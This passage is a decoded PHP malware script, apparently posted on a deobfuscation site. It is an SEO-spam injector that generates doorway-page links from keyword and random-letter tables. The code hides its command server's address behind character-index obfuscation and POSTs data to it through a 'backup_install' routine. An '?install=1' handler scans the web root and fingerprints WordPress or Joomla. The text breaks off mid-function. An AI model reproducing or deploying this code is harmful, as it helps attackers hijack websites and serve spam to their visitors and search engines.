		$arr = explode(DIRECTORY_SEPARATOR,$gDir); 
		 
		if(count($arr) <= 0) return; 
		 
		if(!strstr($gDir,$hostDir)) 
			$dir = $hostDir; 
		else 
			$dir = ''; 
 
 
		for($i = 0 ; $i < count($arr)-1 ; $i++){ 
			$dir .= DIRECTORY_SEPARATOR . $arr[$i]; 
			my_mkdir($dir); 
		} 
		 
		return $dir; 
	} 
		 
 
	function getalink($pid){ 
		 
		global $arrnametime,$arrKeywz,$arr_word,$strRand;		 
	 
		$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST']; 
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		 
		if(JDT == 2){ 
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){ 
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){ 
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{ 
			$filePres = $siteLink."/";		} 
		 
		$ms = $arrnametime[$pid % count($arrnametime)];		 
		 
		$keyNum = $arrKeywz[$pid % count($arrKeywz)];		 
		$keyWordKey = $pid % 10;		$keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq");		$keyArr = array();		$flag = 0;		 
		if($ms == 2 or $ms ==4){ 
			if($keyNum >= 9){ 
				$fg = 4;			}elseif($keyNum >= 7){ 
				 $fg = 3;			}else{ 
				 $fg = 2;			} 
		} 
		 
		for($i=0;$i<$keyNum;$i++){ 
			$tempNum = $arr_word[$i][$keyWordKey];			$tempstr = '';			for($j=0;$j<$tempNum;$j++) 
				$tempstr .= $strRand[$flag++]{$keyStrKey};			 
			$keyArr[$i] = $tempstr;		} 
		 
		// $SidWz = $sid % $keyNum;		 
		 
		$PidWz = $pid % $keyNum;		$linkCenter = ''; 
		 
		if(JDT == 3){ 
			for($i=0;$i<$keyNum;$i++){ 
				if($PidWz == $i && $i != 0) 
					$linkCenter .= '-'. BZPRO . $pid .'-';	 
				elseif($PidWz == $i) 
				    $linkCenter .= BZPRO . $pid .'-'; 
				 
				$linkCenter .= $keyArr[$i] .'';			 
			} 
			$linkCenter .= $linkCenter . "#llq";		 
			$linkCenter = str_replace('-#llq','',$linkCenter);	 
			$linkCenter = str_replace('#llq','',$linkCenter);	 
			$linkCenter = str_replace('--','-',$linkCenter);	 
			$linkCenter = str_replace('/-','/',$linkCenter);	 
			$rtStr = $filePres.$linkCenter; 
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr); 
		 
			return $rtStr; 
			 
			} 
		 
		 
		 
		 
		if($ms == 1){ 
			for($i=0;$i<$keyNum;$i++){ 
				if($PidWz == $i && $i != 0) 
					$linkCenter .= '-'. BZPRO . $pid .'-';	 
				elseif($PidWz == $i) 
				    $linkCenter .= BZPRO . $pid .'-'; 
				 
				$linkCenter .= $keyArr[$i] .'';	 
			} 
			 
			$linkCenter .= "/";			$linkCenter = str_replace("-/","/",$linkCenter);			 
		}elseif($ms == 2){ 
			for($i=0;$i<$keyNum;$i++){ 
				if($PidWz == $i && $i != 0) 
					$linkCenter .= '-'. BZPRO . $pid .'-';	 
				elseif($PidWz == $i) 
				    $linkCenter .= BZPRO . $pid .'-'; 
				 
				$linkCenter .= $keyArr[$i] .'';	 
				 
 
				if($i == $fg-1){ 
					$linkCenter .= '-';				} 
			} 
			 
			$linkCenter .= "/";			$linkCenter = str_replace("-/","/",$linkCenter);			 
		}elseif($ms == 3){ 
			for($i=0;$i<$keyNum;$i++){ 
				if($PidWz == $i && $i != 0) 
					$linkCenter .= '-'. BZPRO . $pid .'-';	 
				elseif($PidWz == $i) 
				    $linkCenter .= BZPRO . $pid .'-'; 
				 
				$linkCenter .= $keyArr[$i] .'';	 
			} 
			 
			$linkCenter .= JTHZ;			$linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);			 
			 
		}elseif($ms == 4){ 
				for($i=0;$i<$keyNum;$i++){ 
				if($PidWz == $i && $i != 0) 
					$linkCenter .= '-'. BZPRO . $pid .'-';	 
				elseif($PidWz == $i) 
				    $linkCenter .= BZPRO . $pid .'-'; 
				 
				$linkCenter .= $keyArr[$i] .'';	 
 
				if($i == $fg-1){ 
					$linkCenter .= '-';				} 
			} 
			 
			$linkCenter .= JTHZ;			$linkCenter = str_replace("-/","/",$linkCenter);			$linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);		} 
			$linkCenter = str_replace('--','-',$linkCenter);	 
			$linkCenter = str_replace('/-','/',$linkCenter);	 
		 
		$rtStr = $filePres.$linkCenter; 
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr); 
		 
		return $rtStr; 
	} 
	 
 
// bbbbbbbbackupbg 
 
function backup_install($dateArr,$loop=10){ 
 
 
	$data = false;        $i = 0;  
 
	while(!$data) { 
             $data = backup_install_once($dateArr);             if($i++ >= $loop) break;        } 
	return $data; 
} 
  
  
function backup_install_once($dateArr=array()){ 
	global $O0O000; 
	 
	$data = false; 
	if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close") && 0){ 
		$curl = curl_init(); 
		curl_setopt($curl, CURLOPT_URL, $O0O000); 
		curl_setopt($curl, CURLOPT_HEADER, 0); 
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($curl, CURLOPT_POST, 1); 
		curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr); 
		$data = curl_exec($curl); 
		curl_close($curl); 
	 
	}else{ 
		$tempDate = http_build_query($dateArr);	 
		$params = array( 
			'http' => array( 
			'method' => 'POST', 
			'header' => "Content-Type: application/x-www-form-urlencoded
", 
			'content' => $tempDate 
			) 
		); 
		$ctx = stream_context_create($params); 
		$data = file_get_contents($O0O000, null, $ctx); 
	}  
	  
	return $data;	 
} 
 
// bbbbbbbbackupend 
 
	 
 
	 
function is_ip($localIp,$ipRanges) 
{     
	$localIp = ip2long($localIp);   
	foreach($ipRanges as $val) 
	{  
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1])); 
		if($localIp >= $ipmin && $localIp <= $ipmax) 
		{    
			return true;  
		}  
	}    
	return false;} 
	 
 function RandAbcs($length = ""){ 
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; 
    return ($str); 
}  
 
  
function getarr(){ 
		global $O00O0O; 
		$arr[0]=$O00O0O{6}.$O00O0O{8}.$O00O0O{5}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{15}.$O00O0O{11}.$O00O0O{5}.$O00O0O{14}.$O00O0O{13}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{9}.$O00O0O{14}.$O00O0O{17}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{3}.$O00O0O{18}.$O00O0O{13}.$O00O0O{24}.$O00O0O{2}.$O00O0O{4}.$O00O0O{18}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{14}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; 
	return $arr; 
} 
	 
function getthisdom(){ 
	$myArrs = getarr(); 
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR; 
}  
  
  
function get_real_ip(){ 
	 
	 
	$ip=false;    if (isset($_SERVER)) { 
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { 
        $ip = $_SERVER['HTTP_CLIENT_IP'];      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { 
        $ip = $_SERVER['HTTP_X_FORWARDED'];      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { 
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { 
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];      } elseif (isset($_SERVER['HTTP_FORWARDED'])) { 
        $ip = $_SERVER['HTTP_FORWARDED'];      } else { 
        $ip = $_SERVER['REMOTE_ADDR'];      } 
    } else { 
      if (getenv('HTTP_X_FORWARDED_FOR')) { 
        $ip = getenv('HTTP_X_FORWARDED_FOR');      } elseif (getenv('HTTP_CLIENT_IP')) { 
        $ip = getenv('HTTP_CLIENT_IP');      } else { 
        $ip = getenv('REMOTE_ADDR');      } 
    } 
	return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);} 
  
//file end 
 ?>

Did this file decode correctly?

Original Code

<?php 
@ini_set('display_errors', 0);
@set_time_limit(3600);
define("DOMTXT","/jd1/");
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",1);
define("MYDIR", "/lt20180710bk-3/");
define("FNUM",50);
define("JGNUM","132");
define("LINKNUM","12");
define("BZSITE","w");
define("BZPRO","o");
//Fnamebg
define("FILEDIRNAME","jpdd150815qi-1");
//Fnameend

//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",5512);
//mssidend

//jthouzuibg
define("JTHZ","/");
//jthouzuiend


//keyjgbg
define("KEYJG","7");
//keyjgbgend



// #llqllq#arr_nametimebg

$arrnametime[]="2";
$arrnametime[]="4";
$arrnametime[]="1";
$arrnametime[]="3";


// #llqllq#arr_nametimeend
// #llqllq#arr_wordbg

$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="3";

// #llqllq#arr_wordend
// #llqllq#arr_keywz

$arrKeywz[]="7";
$arrKeywz[]="9";
$arrKeywz[]="12";
$arrKeywz[]="8";
$arrKeywz[]="4";
$arrKeywz[]="6";
$arrKeywz[]="5";
$arrKeywz[]="10";
$arrKeywz[]="11";


// #llqllq#arr_keywzend
// #llqllq#arr_fuhao
$arrfh[]="";$arrfh[]=" ";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]="";$arrfh[]="";
// #llqllq#arr_fuhaoend
// #llqllq#arr_keybg

$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="[]";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2016";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="?";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2015";
$arr_key[]="";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]="2015";
$arr_key[]="";
$arr_key[]="/";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="1";
$arr_key[]="SALE";
$arr_key[]="NEW";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2015 ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="/";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="18OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="60OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="?";
$arr_key[]="2015";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="SEAL";
$arr_key[]=" ";
$arr_key[]="[]";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="1";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="!!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="GINGER";
$arr_key[]="!!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="4";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="?";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="1";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="10";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="WEB";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="_";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="1";
$arr_key[]="5OFF";
$arr_key[]="!!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="6";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="_";
$arr_key[]="";
$arr_key[]="_";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="10OFF";
$arr_key[]="!!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2016 ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="!!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="50OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="30OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]=" ";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="5";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="2015A/W";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="()";
$arr_key[]="500";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="70OFF";
$arr_key[]="T-5";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="  ? ";
$arr_key[]="";
$arr_key[]="3";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="  ";
$arr_key[]="35OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="SALE";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="25OFF";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="!";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";
$arr_key[]="";


// #llqllq#arr_keyend



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();


// #llqllq#randkeybg
$strRand[0]="nwkecjusoxqpmrytfvlhdziagb";
$strRand[1]="ptgwxskfoveymnuhqbadizjcrl";
$strRand[2]="lzpwohfbqdsaxijtvmgkynurec";
$strRand[3]="vurmeloibxtsycnzhadjwpgfkq";
$strRand[4]="sbqygcnfwozratxhuidlmepjvk";
$strRand[5]="zkxotrchyalpbfuivqdmnejwgs";
$strRand[6]="mvdofptkzbyurjaewgsinhqxcl";
$strRand[7]="abtvcnkxzrqousjpfhmylwdeig";
$strRand[8]="trwgqjiuzxpdhcbkynelsmaofv";
$strRand[9]="vsboyeqzcwxtpndgirluhkjfam";
$strRand[10]="buagqxypsclhfdeovkwirnjztm";
$strRand[11]="atgzsvhbfypuwcjmelqnxkriod";
$strRand[12]="pzeafqcdhgorsxunkyvtjiwmbl";
$strRand[13]="xftnmkzjqbdsiyacrluevwgpho";
$strRand[14]="htndrajgylpeufkiwvzsbxmqco";
$strRand[15]="rjsiofxvgpyatcqublkmdnhzew";
$strRand[16]="xvcsrpguhamfnbkdiqlowztyej";
$strRand[17]="lfphkwxmanrdcveszgbtoyuiqj";
$strRand[18]="cyadlbnriqohgsvjpuezwftxkm";
$strRand[19]="miczbuqygpsfavnwodrxelhjkt";
$strRand[20]="rzbhqcpvawknmetdilgfxsoyuj";
$strRand[21]="zipgrhfoadsuynxbqlmkewtjcv";
$strRand[22]="ljsaucfewvqyikpobdzhrmtngx";
$strRand[23]="soutclnirpqvxjghkdmbwzfeay";
$strRand[24]="fynxzcjqarwkhbvspitluomegd";
$strRand[25]="xkwhbnzlpudrmyotvcqfjeagis";
$strRand[26]="eymknacgtfhdqvpwzbsiroujxl";
$strRand[27]="vdufywxrmogtikcpsznbeaqhjl";
$strRand[28]="kplhwftjguciyxzdorsqaevbmn";
$strRand[29]="dpbjhzcsnatxeougkyiqrmflvw";
$strRand[30]="uevmlszrtkonxgfyhjidbpwacq";
$strRand[31]="tqmdczplkbnvxguhiyaeofrjws";
$strRand[32]="kbzyhsnvjgeqcfdpmxriwautol";
$strRand[33]="jyfugswzqimnhocekrlvtabxdp";
$strRand[34]="xhsmetciyauofgzbknqrpldjwv";
$strRand[35]="ykphzxmgboevnrilwqutdcfjas";
$strRand[36]="bigkzxtlscuwemohpdqjafvnyr";
$strRand[37]="hzulrpkgqaneocxsvtbwyfimdj";
$strRand[38]="uyvtrfeqzgcajbklxnpsdmhoiw";
$strRand[39]="dghsyounebltqzwfijkxrpvamc";
$strRand[40]="yjmqvtkuinhdzroaxcfbwpgles";
$strRand[41]="hfwyurptaczgldqxbeskjmvoni";
$strRand[42]="oawbmqxrgczlpjhkuvnftieysd";
$strRand[43]="cymnqbaiprfsgjetkdowzxhuvl";
$strRand[44]="ikmyhzgtujecnlxqpwodbavsfr";
$strRand[45]="bdcowquxaremzgstjiykfvphnl";
$strRand[46]="fnolsgxtmeuacphvbdwqyjirkz";
$strRand[47]="avxgsftczuryqnebiplojmkdhw";
$strRand[48]="jiztcndxeaqfwpubhsorymlkgv";
$strRand[49]="ajivwkdolxbmyzugfenhqtspcr";
$strRand[50]="ujxvhrpgbfctaeqnismowlzydk";
$strRand[51]="gfakvzbowdjxtepschiuyqmnrl";
$strRand[52]="rlhtupvfzoyabwedjkisxnqcmg";
$strRand[53]="ocsuganvzxmrlijhbpfdwykteq";
$strRand[54]="snvqpegdztrcialwxumbokyjhf";
$strRand[55]="capknlmthjyusvgzebrdfowiqx";
$strRand[56]="tkuhrxnbfiwyazmjlodqpscgve";
$strRand[57]="yqtuhwncfzigvjdsmaolkbrepx";
$strRand[58]="qilgjvazhfrswokcbetudxympn";
$strRand[59]="kjygnzrwtamxlusqdiofhpvcbe";
$strRand[60]="bmdypixjgwfecurqhknztlsaov";
$strRand[61]="nwusgtkcbprliojyhmexvafzdq";
$strRand[62]="pfuwszkontemgrqlcjyxvhbida";
$strRand[63]="vnofuizxgjcprtyqbhwdasmekl";
$strRand[64]="uiapocdsqtwjfelvkybzxrhnmg";
$strRand[65]="wovtdupmibrxaengjqlyszfhkc";
$strRand[66]="idolhmxezgyrjbpsawutkcfqvn";
$strRand[67]="rhgsdineoqlybfwaxjczkvtupm";
$strRand[68]="bsvgrpjuokyhqzimctnlfxewda";
$strRand[69]="lqcbfyhaunpwdmsekovrtxijgz";
$strRand[70]="tovqprxykahnzlfwduicjmsbeg";
$strRand[71]="mjfdzypgahnsouqcwtlebvkirx";
$strRand[72]="jacnberxvkwoqhflpygmsdtziu";
$strRand[73]="czygkiwaqnmdotuxjlebhvpfsr";
$strRand[74]="iyefhlntkavzxrguwdmocsqbjp";
$strRand[75]="tupelixhocvramsfbykzjdwqng";
$strRand[76]="hysvcmpwradlgukqobeftjinzx";
$strRand[77]="nfdlmsovtwcuaijryqgbxekzph";
$strRand[78]="uejxklfobrcyiaqspdwhzmtgnv";
$strRand[79]="gicavpmzxrqsbntwyjdfohulek";
$strRand[80]="mcnqlxievdrhtapzoksjwbyguf";
$strRand[81]="qyxshflwekbjdtvcmzuiopagrn";
$strRand[82]="nlcbuhzkxrfpmwdisoyaqtjgve";
$strRand[83]="fkupsqmrjytdieolwcxzbavhng";
$strRand[84]="dskqtixhlrgbyufpozanemvjwc";
$strRand[85]="jgpzylodhxvrceusmtfqakbniw";
$strRand[86]="xzvkgpimnrodtblayhqsucfewj";
$strRand[87]="tmejqgplcbxnvosiywafuhkdrz";
$strRand[88]="vwdpemcyqsrzhxnjbofkgtluai";
$strRand[89]="uwcenxozvibfyjlahmpgqsktdr";
$strRand[90]="njklhyopwdiztrxqsmfaubvceg";
$strRand[91]="wehkqgpildxmfujytnbcasrovz";
$strRand[92]="ztsuqldgnehvxijabwrmopkycf";
$strRand[93]="mwxqbiaghoultsdcfkvnyrpzje";
$strRand[94]="xqiypnveumgbkrzhljtcdwofsa";
$strRand[95]="vroltbjweiahmcnqzksudgfpxy";
$strRand[96]="mcakuyzvljnhwetxdbgfopsriq";
$strRand[97]="ychfizvrwljausegptkqxbnodm";
$strRand[98]="kgqryosxubpzfljcatvnhmidwe";
$strRand[99]="ptyrxcglsbfdhekiqnwvmzujao";

// #llqllq#randkeyend

// $_SERVER["HTTP_REFERER"] = "google.co.jp";

$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());



// iiiiiiiiibg



function sys_type(){

	global $hostDir;
	if(file_exists("$hostDir/wp-config.php")){
		return 'wp';
	}elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig")){
		return 'Joomla';
	}else{
		return 'other';
	}
	
}

function getFileType($filename){
	$rs = '#.*\.([^\s]+)#i';
	preg_match($rs,$filename,$matchType);
	return $matchType[1];
}



function getTypeImg($source, &$destination, $num, $type){ 

     global $numHostDir;
     $handle = opendir($source); 
     while(($file = readdir($handle)) !== false){ 
         if($file != '.' && $file != '..')  { 
             $src = $source . DIRECTORY_SEPARATOR . $file; 
             if(is_dir($src)){ 
                 getTypeImg($src, $destination, $num, $type);  
             }else{ 
				 if(count($destination) >= $num)
				   return count($destination);
				   
				 $tempType = getFileType($file);
				 if(strstr($type,$tempType)){
					$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
				
					if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
						$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
					}
				 }
             } 
         } 
     }
     closedir($handle); 
 } 
	 
	
if(isset($_GET['install']) &&  $_GET['install'] == '1'){
	
	if(isset($_SERVER['DOCUMENT_ROOT'])){
		$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
	}elseif(isset($_SERVER['PHP_SELF'])){
		$hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
	}else{
		$hostDir = '/';
	}
	
	$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);

  	$sysType = sys_type();

	if($sysType == 'wp'){
